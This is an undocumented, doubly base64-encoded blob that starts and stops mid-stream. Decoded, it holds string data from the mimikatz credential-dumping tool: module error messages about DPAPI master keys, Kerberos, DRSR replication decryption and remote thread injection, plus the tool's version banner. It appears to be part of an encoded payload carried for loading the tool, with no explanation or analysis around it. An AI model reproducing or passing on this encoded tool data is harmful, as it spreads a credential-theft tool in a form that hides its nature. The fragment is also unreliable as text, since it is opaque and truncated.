BYkFCZkFHMEFYd0J3QUdFQWRBQmpBR2dBWHdCbkFHVUFiZ0JsQUhJQWFRQmpBRkFBY2dCdkFHTUFaUUJ6QUhNQVR3QnlBRk1BWlFCeUFIWUFhUUJqQUdVQVJnQnlBRzhBYlFCQ0FIVUFhUUJzQUdRQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QndBSElBYndCakFHVUFjd0J6QUY4QVp3QmxBSFFBVmdCbEFISUFlUUJDQUdFQWN3QnBBR01BVFFCdkFHUUFkUUJzQUdVQVNRQnVBR1lBYndCeUFHMEFZUUIwQUdrQWJ3QnVBSE1BUmdCdkFISUFUZ0JoQUcwQVpRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QndBR0VBZEFCakFHZ0FYd0JuQUdVQWJnQmxBSElBYVFCakFGQUFjZ0J2QUdNQVpRQnpBSE1BVHdCeUFGTUFaUUJ5QUhZQWFRQmpBR1VBUmdCeUFHOEFiUUJDQUhVQWFRQnNBR1FBSUFBN0FDQUFUd0J3QUdVQWJnQlFBSElBYndCakFHVUFjd0J6QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFIQUFZUUIwQUdNQWFBQmZBR2NBWlFCdUFHVUFjZ0JwQUdNQVVBQnlBRzhBWXdCbEFITUFjd0JQQUhJQVV3QmxBSElBZGdCcEFHTUFaUUJHQUhJQWJ3QnRBRUlBZFFCcEFHd0FaQUFnQURzQUlBQlRBR1VBY2dCMkFHa0FZd0JsQUNBQWFRQnpBQ0FBYmdCdkFIUUFJQUJ5QUhVQWJnQnVBR2tBYmdCbkFBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCd0FHRUFkQUJqQUdnQVh3Qm5BR1VBYmdCbEFISUFhUUJqQUZBQWNnQnZBR01BWlFCekFITUFUd0J5QUZNQVpRQnlBSFlBYVFCakFHVUFSZ0J5QUc4QWJRQkNBSFVBYVFCc0FHUUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J6QUdVQWNnQjJBR2tBWXdCbEFGOEFad0JsQUhRQVZRQnVBR2tBY1FCMUFHVUFSZ0J2QUhJQVRnQmhBRzBBWlFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QndBR0VBZEFCakFHZ0FYd0JuQUdVQWJnQmxBSElBYVFCakFGQUFjZ0J2QUdNQVpRQnpBSE1BVHdCeUFGTUFaUUJ5QUhZQWFRQmpBR1VBUmdCeUFHOEFiUUJDQUhVQWFRQnNBR1FBSUFBN0FDQUFTUUJ1QUdNQWJ3QnlBSElBWlFCakFIUUFJQUIyQUdVQWNnQnpBR2tBYndCdUFDQUFhUUJ1QUNBQWNnQmxBR1lBWlFCeUFHVUFiZ0JqQUdVQWN3QUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhJQVpRQnRBRzhBZEFCbEFHd0FhUUJpQUY4QVl3QnlBR1VBWVFCMEFHVUFJQUE3QUNBQVVnQjBBR3dBUXdCeUFHVUFZUUIwQUdVQVZRQnpBR1VBY2dCVUFHZ0FjZ0JsQUdFQVpBQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNnQmxBRzBBYndCMEFHVUFiQUJwQUdJQVh3QmpBSElBWlFCaEFIUUFaUUFnQURzQUlBQkRBSElBWlFCaEFIUUFaUUJTQUdVQWJRQnZBSFFBWlFCVUFHZ0FjZ0JsQUdFQVpBQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFCVUFHZ0FJQUJBQUNBQUpRQndBQW9BUkFCaEFDQUFRQUFnQUNVQWNBQUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhJQVpRQnRBRzhBZEFCbEFHd0FhUUJpQUY4QVl3QnlBR1VBWVFCMEFHVUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0JyQUdVQWNnQnVBR1VBYkFCZkFHa0Fid0JqQUhRQWJBQmZBR2dBWVFCdUFHUUFiQUJsQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhJQVpRQnRBRzhBZEFCbEFHd0FhUUJpQUY4QVF3QnlBR1VBWVFCMEFHVUFVZ0JsQUcwQWJ3QjBBR1VBUXdCdkFHUUFaUUJYQUdrQWRBQjBBR2dBVUFCaEFIUUFkQUJsQUhJQWJnQlNBR1VBY0FCc0FHRUFZd0JsQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWJRQmxBRzBBYndCeUFIa0FYd0JqQUc4QWNBQjVBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBR1VBYlFCdkFIUUFaUUJzQUdrQVlnQmZBRU1BY2dCbEFHRUFkQUJsQUZJQVpRQnRBRzhBZEFCbEFFTUFid0JrQUdVQVZ3QnBBSFFBZEFCb0FGQUFZUUIwQUhRQVpRQnlBRzRBVWdCbEFIQUFiQUJoQUdNQVpRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBRzBBWlFCdEFHOEFjZ0I1QUY4QVlRQnNBR3dBYndCakFDQUFMd0FnQUZZQWFRQnlBSFFBZFFCaEFHd0FRUUJzQUd3QWJ3QmpBQ2dBUlFCNEFDa0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFISUFaUUJ0QUc4QWRBQmxBR3dBYVFCaUFGOEFRd0J5QUdVQVlRQjBBR1VBVWdCbEFHMEFid0IwQUdVQVF3QnZBR1FBWlFCWEFHa0FkQUIwQUdnQVVBQmhBSFFBZEFCbEFISUFiZ0JTQUdVQWNBQnNBR0VBWXdCbEFDQUFPd0FnQUU0QWJ3QWdBR0lBZFFCbUFHWUFaUUJ5QUNBQVB3QUtBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNnQndBR01BWHdCa0FISUFjd0J5QUY4QVVnQndBR01BVXdCbEFHTUFkUUJ5QUdrQWRBQjVBRU1BWVFCc0FHd0FZZ0JoQUdNQWF3QWdBRHNBSUFCUkFIVUFaUUJ5QUhrQVF3QnZBRzRBZEFCbEFIZ0FkQUJCQUhRQWRBQnlBR2tBWWdCMUFIUUFaUUJ6QUNBQUpRQXdBRGdBZUFBS0FBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFIQUFZd0JmQUdRQWNnQnpBSElBWHdCU0FIQUFZd0JUQUdVQVl3QjFBSElBYVFCMEFIa0FRd0JoQUd3QWJBQmlBR0VBWXdCckFDQUFPd0FnQUVrQVh3QlNBSEFBWXdCQ0FHa0FiZ0JrQUdrQWJnQm5BRWtBYmdCeEFGTUFaUUJqQUhVQWNnQnBBSFFBZVFCREFHOEFiZ0IwQUdVQWVBQjBBQ0FBSlFBd0FEZ0FlQUFLQUFBQUFBQnVBR01BWVFCakFHNEFYd0JwQUhBQVh3QjBBR01BY0FBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBSEFBWXdCZkFHUUFjZ0J6QUhJQVh3QmpBSElBWlFCaEFIUUFaUUJDQUdrQWJnQmtBR2tBYmdCbkFDQUFPd0FnQUZJQWNBQmpBRUlBYVFCdUFHUUFhUUJ1QUdjQVV3QmxBSFFBVHdCd0FIUUFhUUJ2QUc0QU9nQWdBREFBZUFBbEFEQUFPQUI0QUNBQUtBQWxBSFVBS1FBS0FBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBSEFBWXdCZkFHUUFjZ0J6QUhJQVh3QmpBSElBWlFCaEFIUUFaUUJDQUdrQWJnQmtBR2tBYmdCbkFDQUFPd0FnQUZJQWNBQmpBRUlBYVFCdUFHUUFhUUJ1QUdjQVV3QmxBSFFBUVFCMUFIUUFhQUJKQUc0QVpnQnZBRVVBZUFBNkFDQUFNQUI0QUNVQU1BQTRBSGdBSUFBb0FDVUFkUUFwQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFISUFjQUJqQUY4QVpBQnlBSE1BY2dCZkFHTUFjZ0JsQUdFQWRBQmxBRUlBYVFCdUFHUUFhUUJ1QUdjQUlBQTdBQ0FBVGdCdkFDQUFRZ0JwQUc0QVpBQnBBRzRBWndBaEFBb0FBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBY2dCd0FHTUFYd0JrQUhJQWN3QnlBRjhBWXdCeUFHVUFZUUIwQUdVQVFnQnBBRzRBWkFCcEFHNEFad0FnQURzQUlBQlNBSEFBWXdCQ0FHa0FiZ0JrQUdrQWJnQm5BRVlBY2dCdkFHMEFVd0IwQUhJQWFRQnVBR2NBUWdCcEFHNEFaQUJwQUc0QVp3QTZBQ0FBTUFCNEFDVUFNQUE0QUhnQUlBQW9BQ1VBZFFBcEFBb0FBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBY0FCakFGOEFaQUJ5QUhNQWNnQmZBR01BY2dCbEFHRUFkQUJsQUVJQWFRQnVBR1FBYVFCdUFHY0FJQUE3QUNBQVVnQndBR01BVXdCMEFISUFhUUJ1QUdjQVFnQnBBRzRBWkFCcEFHNEFad0JEQUc4QWJRQndBRzhBY3dCbEFEb0FJQUF3QUhnQUpRQXdBRGdBZUFBZ0FDZ0FKUUIxQUNrQUNnQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0J3QUdNQVh3QmtBSElBY3dCeUFGOEFad0JsQUhRQVJBQnZBRzBBWVFCcEFHNEFRUUJ1QUdRQVZRQnpBR1VBY2dCSkFHNEFaZ0J2QUhNQUlBQTdBQ0FBUkFCdkFHMEFZUUJwQUc0QVF3QnZBRzRBZEFCeUFHOEFiQUJzQUdVQWNnQkpBRzRBWmdCdkFEb0FJQUJFQUVNQUlBQW5BQ1VBY3dBbkFDQUFiZ0J2QUhRQUlBQm1BRzhBZFFCdUFHUUFDZ0FBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFIQUFZd0JmQUdRQWNnQnpBSElBWHdCbkFHVUFkQUJFQUc4QWJRQmhBR2tBYmdCQkFHNEFaQUJWQUhNQVpRQnlBRWtBYmdCbUFHOEFjd0FnQURzQUlBQkVBRzhBYlFCaEFHa0FiZ0JEQUc4QWJnQjBBSElBYndCc0FHd0FaUUJ5QUVrQWJnQm1BRzhBT2dBZ0FHSUFZUUJrQUNBQWRnQmxBSElBY3dCcEFHOEFiZ0FnQUNnQUpRQjFBQ2tBQ2dBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBY0FCakFGOEFaQUJ5QUhNQWNnQmZBR2NBWlFCMEFFUUFid0J0QUdFQWFRQnVBRUVBYmdCa0FGVUFjd0JsQUhJQVNRQnVBR1lBYndCekFDQUFPd0FnQUVRQWJ3QnRBR0VBYVFCdUFFTUFid0J1QUhRQWNnQnZBR3dBYkFCbEFISUFTUUJ1QUdZQWJ3QTZBQ0FBTUFCNEFDVUFNQUE0QUhnQUlBQW9BQ1VBZFFBcEFBb0FBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFISUFjQUJqQUY4QVpBQnlBSE1BY2dCZkFHY0FaUUIwQUVRQWJ3QnRBR0VBYVFCdUFFRUFiZ0JrQUZVQWN3QmxBSElBU1FCdUFHWUFid0J6QUNBQU93QWdBRklBVUFCREFDQUFSUUI0QUdNQVpRQndBSFFBYVFCdkFHNEFJQUF3QUhnQUpRQXdBRGdBZUFBZ0FDZ0FKUUIxQUNrQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNnQndBR01BWHdCa0FISUFjd0J5QUY4QVp3QmxBSFFBUkFCREFFSUFhUUJ1QUdRQUlBQTdBQ0FBU1FCdUFHTUFid0J5QUhJQVpRQmpBSFFBSUFCRUFGSUFVd0FnQUVVQWVBQjBBR1VBYmdCekFHa0Fid0J1QUhNQUlBQlBBSFVBZEFCd0FIVUFkQUFnQUNnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFIQUFZd0JmQUdRQWNnQnpBSElBWHdCbkFHVUFkQUJFQUVNQVFnQnBBRzRBWkFBZ0FEc0FJQUJPQUc4QUlBQkVBRklBVXdBZ0FFVUFlQUIwQUdVQWJnQnpBR2tBYndCdUFITUFJQUJQQUhVQWRBQndBSFVBZEFBS0FBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBSEFBWXdCZkFHUUFjZ0J6QUhJQVh3Qm5BR1VBZEFCRUFFTUFRZ0JwQUc0QVpBQWdBRHNBSUFCSkFFUUFUQUJmQUVRQVVnQlRBRUlBYVFCdUFHUUFPZ0FnQUNVQWRRQUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhJQWNBQmpBRjhBWkFCeUFITUFjZ0JmQUdjQVpRQjBBRVFBUXdCQ0FHa0FiZ0JrQUNBQU93QWdBRklBVUFCREFDQUFSUUI0QUdNQVpRQndBSFFBYVFCdkFHNEFJQUF3QUhnQUpRQXdBRGdBZUFBZ0FDZ0FKUUIxQUNrQUNnQUFBQUFBVGdCUEFGOEFSUUJTQUZJQVR3QlNBQUFBQUFCRkFGSUFVZ0JQQUZJQVh3QlNBRVVBVXdCUEFFd0FWZ0JKQUU0QVJ3QUFBRVVBVWdCU0FFOEFVZ0JmQUU0QVR3QlVBRjhBUmdCUEFGVUFUZ0JFQUFBQVJRQlNBRklBVHdCU0FGOEFUZ0JQQUZRQVh3QlZBRTRBU1FCUkFGVUFSUUFBQUFBQVJRQlNBRklBVHdCU0FGOEFUZ0JQQUY4QVRRQkJBRkFBVUFCSkFFNEFSd0FBQUFBQVJRQlNBRklBVHdCU0FGOEFSQUJQQUUwQVFRQkpBRTRBWHdCUEFFNEFUQUJaQUFBQVJRQlNBRklBVHdCU0FGOEFUZ0JQQUY4QVV3QlpBRTRBVkFCQkFFTUFWQUJKQUVNQVFRQk1BRjhBVFFCQkFGQUFVQUJKQUU0QVJ3QUFBQUFBUlFCU0FGSUFUd0JTQUY4QVZBQlNBRlVBVXdCVUFGOEFVZ0JGQUVZQVJRQlNBRklBUVFCTUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFIQUFZd0JmQUdRQWNnQnpBSElBWHdCREFISUFZUUJqQUdzQVRnQmhBRzBBWlFBZ0FEc0FJQUJEQUhJQVlRQmpBR3NBVGdCaEFHMEFaUUJ6QUNBQUtBQnVBR0VBYlFCbEFDQUFjd0IwQUdFQWRBQjFBSE1BS1FBNkFDQUFNQUI0QUNVQU1BQTRBSGdBSUFBb0FDVUFkUUFwQUNBQUxRQWdBQ1VBY3dBS0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBY2dCd0FHTUFYd0JrQUhJQWN3QnlBRjhBUXdCeUFHRUFZd0JyQUU0QVlRQnRBR1VBSUFBN0FDQUFRd0J5QUdFQVl3QnJBRTRBWVFCdEFHVUFjd0E2QUNBQWJnQnZBQ0FBYVFCMEFHVUFiUUFoQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFISUFjQUJqQUY4QVpBQnlBSE1BY2dCZkFFTUFjZ0JoQUdNQWF3Qk9BR0VBYlFCbEFDQUFPd0FnQUVNQWNnQmhBR01BYXdCT0FHRUFiUUJsQUhNQU9nQWdBR0lBWVFCa0FDQUFkZ0JsQUhJQWN3QnBBRzhBYmdBZ0FDZ0FKUUIxQUNrQUNnQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0J3QUdNQVh3QmtBSElBY3dCeUFGOEFRd0J5QUdFQVl3QnJBRTRBWVFCdEFHVUFJQUE3QUNBQVF3QnlBR0VBWXdCckFFNEFZUUJ0QUdVQWN3QTZBQ0FBTUFCNEFDVUFNQUE0QUhnQUlBQW9BQ1VBZFFBcEFBb0FBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBY2dCd0FHTUFYd0JrQUhJQWN3QnlBRjhBUXdCeUFHRUFZd0JyQUU0QVlRQnRBR1VBSUFBN0FDQUFVZ0JRQUVNQUlBQkZBSGdBWXdCbEFIQUFkQUJwQUc4QWJnQWdBREFBZUFBbEFEQUFPQUI0QUNBQUtBQWxBSFVBS1FBS0FBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFIQUFZd0JmQUdRQWNnQnpBSElBWHdCUUFISUFid0JqQUdVQWN3QnpBRWNBWlFCMEFFNEFRd0JEQUdnQVlRQnVBR2NBWlFCekFGSUFaUUJ3QUd3QWVRQmZBR1FBWlFCakFISUFlUUJ3QUhRQUlBQTdBQ0FBUXdCb0FHVUFZd0JyQUhNQWRRQnRBSE1BSUFCa0FHOEFiZ0FuQUhRQUlBQnRBR0VBZEFCakFHZ0FJQUFvQUVNQU9nQXdBSGdBSlFBd0FEZ0FlQUFnQUMwQUlBQlNBRG9BTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNnQndBR01BWHdCa0FISUFjd0J5QUY4QVVBQnlBRzhBWXdCbEFITUFjd0JIQUdVQWRBQk9BRU1BUXdCb0FHRUFiZ0JuQUdVQWN3QlNBR1VBY0FCc0FIa0FYd0JrQUdVQVl3QnlBSGtBY0FCMEFDQUFPd0FnQUZJQWRBQnNBRVVBYmdCakFISUFlUUJ3QUhRQVJBQmxBR01BY2dCNUFIQUFkQUJTQUVNQU5BQUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhJQWNBQmpBRjhBWkFCeUFITUFjZ0JmQUZBQWNnQnZBR01BWlFCekFITUFSd0JsQUhRQVRnQkRBRU1BYUFCaEFHNEFad0JsQUhNQVVnQmxBSEFBYkFCNUFGOEFaQUJsQUdNQWNnQjVBSEFBZEFBZ0FEc0FJQUJPQUc4QUlBQjJBR0VBYkFCcEFHUUFJQUJrQUdFQWRBQmhBQW9BQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhJQWNBQmpBRjhBWkFCeUFITUFjZ0JmQUZBQWNnQnZBR01BWlFCekFITUFSd0JsQUhRQVRnQkRBRU1BYUFCaEFHNEFad0JsQUhNQVVnQmxBSEFBYkFCNUFGOEFaQUJsQUdNQWNnQjVBSEFBZEFBZ0FEc0FJQUJPQUc4QUlBQlRBR1VBY3dCekFHa0Fid0J1QUNBQVN3QmxBSGtBQ2dBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBY2dCd0FHTUFYd0JrQUhJQWN3QnlBRjhBWmdCeUFHVUFaUUJmQUVRQVVnQlRBRjhBVFFCVEFFY0FYd0JEQUZJQVFRQkRBRXNBVWdCRkFGQUFUQUJaQUY4QVpBQmhBSFFBWVFBZ0FEc0FJQUJ1QUdFQWJRQmxBRU1BY2dCaEFHTUFhd0JQQUhVQWRBQldBR1VBY2dCekFHa0Fid0J1QUNBQWJnQnZBSFFBSUFCMkFHRUFiQUJwQUdRQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBcEFBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFIQUFZd0JmQUdRQWNnQnpBSElBWHdCbUFISUFaUUJsQUY4QVJBQlNBRk1BWHdCTkFGTUFSd0JmQUVRQVF3QkpBRTRBUmdCUEFGSUFSUUJRQUV3QVdRQmZBR1FBWVFCMEFHRUFJQUE3QUNBQVZBQlBBRVFBVHdBZ0FDZ0FiUUJoQUhrQVlnQmxBRDhBS1FBS0FBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFIQUFZd0JmQUdRQWNnQnpBSElBWHdCbUFISUFaUUJsQUY4QVJBQlNBRk1BWHdCTkFGTUFSd0JmQUVRQVF3QkpBRTRBUmdCUEFGSUFSUUJRQUV3QVdRQmZBR1FBWVFCMEFHRUFJQUE3QUNBQVpBQmpBRThBZFFCMEFGWUFaUUJ5QUhNQWFRQnZBRzRBSUFCdUFHOEFkQUFnQUhZQVlRQnNBR2tBWkFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBSUFBdEFDQUFKUUIxQUNrQUNnQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0J3QUdNQVh3QmtBSElBY3dCeUFGOEFaZ0J5QUdVQVpRQmZBRVFBVWdCVEFGOEFUUUJUQUVjQVh3QkhBRVVBVkFCREFFZ0FSd0JTQUVVQVVBQk1BRmtBWHdCa0FHRUFkQUJoQUNBQU93QWdBRlFBVHdCRUFFOEFJQUFvQUcwQVlRQjVBR0lBWlFBL0FDa0FDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0J3QUdNQVh3QmtBSElBY3dCeUFGOEFaZ0J5QUdVQVpRQmZBRVFBVWdCVEFGOEFUUUJUQUVjQVh3QkhBRVVBVkFCREFFZ0FSd0JTQUVVQVVBQk1BRmtBWHdCa0FHRUFkQUJoQUNBQU93QWdBR1FBZHdCUEFIVUFkQUJXQUdVQWNnQnpBR2tBYndCdUFDQUFiZ0J2QUhRQUlBQjJBR0VBYkFCcEFHUUFJQUFvQURBQWVBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQXBBQW9BQUFCVEFHVUFjZ0IyQUdrQVl3QmxBSE1BUVFCakFIUUFhUUIyQUdVQUFBQUFBQ1VBTUFBeUFIZ0FBQUFBQUNVQU1BQXlBSGdBSUFBQUFEQUFlQUFsQURBQU1nQjRBQ3dBSUFBQUFBQUFYQUI0QUNVQU1BQXlBSGdBQUFBQUFBb0FRZ0JaQUZRQVJRQWdBR1FBWVFCMEFHRUFXd0JkQUNBQVBRQWdBSHNBQ2dBSkFBQUFBQUFKQUFBQUNnQjlBRHNBQ2dBQUFBQUFKUUJ6QUNBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J6QUhRQWNnQnBBRzRBWndCZkFHUUFhUUJ6QUhBQWJBQmhBSGtBVXdCSkFFUUFJQUE3QUNBQVF3QnZBRzRBZGdCbEFISUFkQUJUQUdrQVpBQlVBRzhBVXdCMEFISUFhUUJ1QUdjQVV3QnBBR1FBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFWQUJ2QUdzQVpRQnVBQUFBQ2dBZ0FDQUFMZ0FqQUNNQUl3QWpBQ01BTGdBZ0FDQUFJQUJ0QUdrQWJRQnBBR3NBWVFCMEFIb0FJQUF5QUM0QU1BQWdBR0VBYkFCd0FHZ0FZUUFnQUNnQWVBQTRBRFlBS1FBZ0FISUFaUUJzQUdVQVlRQnpBR1VBSUFBaUFFc0FhUUIzQUdrQUlBQmxBRzRBSUFCREFDSUFJQUFvQUVRQVpRQmpBQ0FBTVFBMEFDQUFNZ0F3QURFQU5RQWdBREVBT0FBNkFEQUFNd0E2QURBQU53QXBBQW9BSUFBdUFDTUFJd0FnQUY0QUlBQWpBQ01BTGdBZ0FDQUFDZ0FnQUNNQUl3QWdBQzhBSUFCY0FDQUFJd0FqQUNBQUlBQXZBQ29BSUFBcUFDQUFLZ0FLQUNBQUl3QWpBQ0FBWEFBZ0FDOEFJQUFqQUNNQUlBQWdBQ0FBUWdCbEFHNEFhZ0JoQUcwQWFRQnVBQ0FBUkFCRkFFd0FVQUJaQUNBQVlBQm5BR1VBYmdCMEFHa0FiQUJyQUdrQWR3QnBBR0FBSUFBb0FDQUFZZ0JsQUc0QWFnQmhBRzBBYVFCdUFFQUFad0JsQUc0QWRBQnBBR3dBYXdCcEFIY0FhUUF1QUdNQWJ3QnRBQ0FBS1FBS0FDQUFKd0FqQUNNQUlBQjJBQ0FBSXdBakFDY0FJQUFnQUNBQWFBQjBBSFFBY0FBNkFDOEFMd0JpQUd3QWJ3Qm5BQzRBWndCbEFHNEFkQUJwQUd3QWF3QnBBSGNBYVFBdUFHTUFid0J0QUM4QWJRQnBBRzBBYVFCckFHRUFkQUI2QUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBS0FCdkFHVUFMZ0JsQUc4QUtRQUtBQ0FBSUFBbkFDTUFJd0FqQUNNQUl3QW5BQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBZHdCcEFIUUFhQUFnQUNVQU1nQjFBQ0FBYlFCdkFHUUFkUUJzQUdVQWN3QWdBQ29BSUFBcUFDQUFLZ0F2QUFvQUNnQUFBQUFBQ2dCdEFHa0FiUUJwQUdzQVlRQjBBSG9BS0FCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDa0FJQUFqQUNBQUpRQnpBQW9BQUFCSkFFNEFTUUJVQUFBQUFBQkRBRXdBUlFCQkFFNEFBQUErQUQ0QVBnQWdBQ1VBY3dBZ0FHOEFaZ0FnQUNjQUpRQnpBQ2NBSUFCdEFHOEFaQUIxQUd3QVpRQWdBR1lBWVFCcEFHd0FaUUJrQUNBQU9nQWdBQ1VBTUFBNEFIZ0FDZ0FBQUFBQU9nQTZBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYlFCcEFHMEFhUUJyQUdFQWRBQjZBRjhBWkFCdkFFd0Fid0JqQUdFQWJBQWdBRHNBSUFBaUFDVUFjd0FpQUNBQWJRQnZBR1FBZFFCc0FHVUFJQUJ1QUc4QWRBQWdBR1lBYndCMUFHNEFaQUFnQUNFQUNnQUFBQW9BSlFBeEFEWUFjd0FBQUNBQUlBQXRBQ0FBSUFBbEFITUFBQUFnQUNBQVd3QWxBSE1BWFFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYlFCcEFHMEFhUUJyQUdFQWRBQjZBRjhBWkFCdkFFd0Fid0JqQUdFQWJBQWdBRHNBSUFBaUFDVUFjd0FpQUNBQVl3QnZBRzBBYlFCaEFHNEFaQUFnQUc4QVpnQWdBQ0lBSlFCekFDSUFJQUJ0QUc4QVpBQjFBR3dBWlFBZ0FHNEFid0IwQUNBQVpnQnZBSFVBYmdCa0FDQUFJUUFLQUFBQUNnQk5BRzhBWkFCMUFHd0FaUUFnQURvQUNRQWxBSE1BQUFBQUFBb0FSZ0IxQUd3QWJBQWdBRzRBWVFCdEFHVUFJQUE2QUFrQUpRQnpBQUFBQ2dCRUFHVUFjd0JqQUhJQWFRQndBSFFBYVFCdkFHNEFJQUE2QUFrQUpRQnpBQUFBWWdCc0FHOEFZZ0FBQUFBQVJBQmxBSE1BWXdCeUFHa0FZZ0JsQUNBQVlRQWdBRVFBVUFCQkFGQUFTUUFnQUdJQWJBQnZBR0lBTEFBZ0FIVUFiZ0J3QUhJQWJ3QjBBR1VBWXdCMEFDQUFhUUIwQUNBQWR3QnBBSFFBYUFBZ0FFRUFVQUJKQUNBQWJ3QnlBQ0FBVFFCaEFITUFkQUJsQUhJQWF3QmxBSGtBQUFCd0FISUFid0IwQUdVQVl3QjBBQUFBQUFBQUFGQUFjZ0J2QUhRQVpRQmpBSFFBSUFCaEFDQUFaQUJoQUhRQVlRQWdBSFlBYVFCaEFDQUFZUUFnQUVRQVVBQkJBRkFBU1FBZ0FHTUFZUUJzQUd3QUFBQnRBR0VBY3dCMEFHVUFjZ0JyQUdVQWVRQUFBQUFBQUFCRUFHVUFjd0JqQUhJQWFRQmlBR1VBSUFCaEFDQUFUUUJoQUhNQWRBQmxBSElBYXdCbEFIa0FJQUJtQUdrQWJBQmxBQ3dBSUFCMUFHNEFjQUJ5QUc4QWRBQmxBR01BZEFBZ0FHVUFZUUJqQUdnQUlBQk5BR0V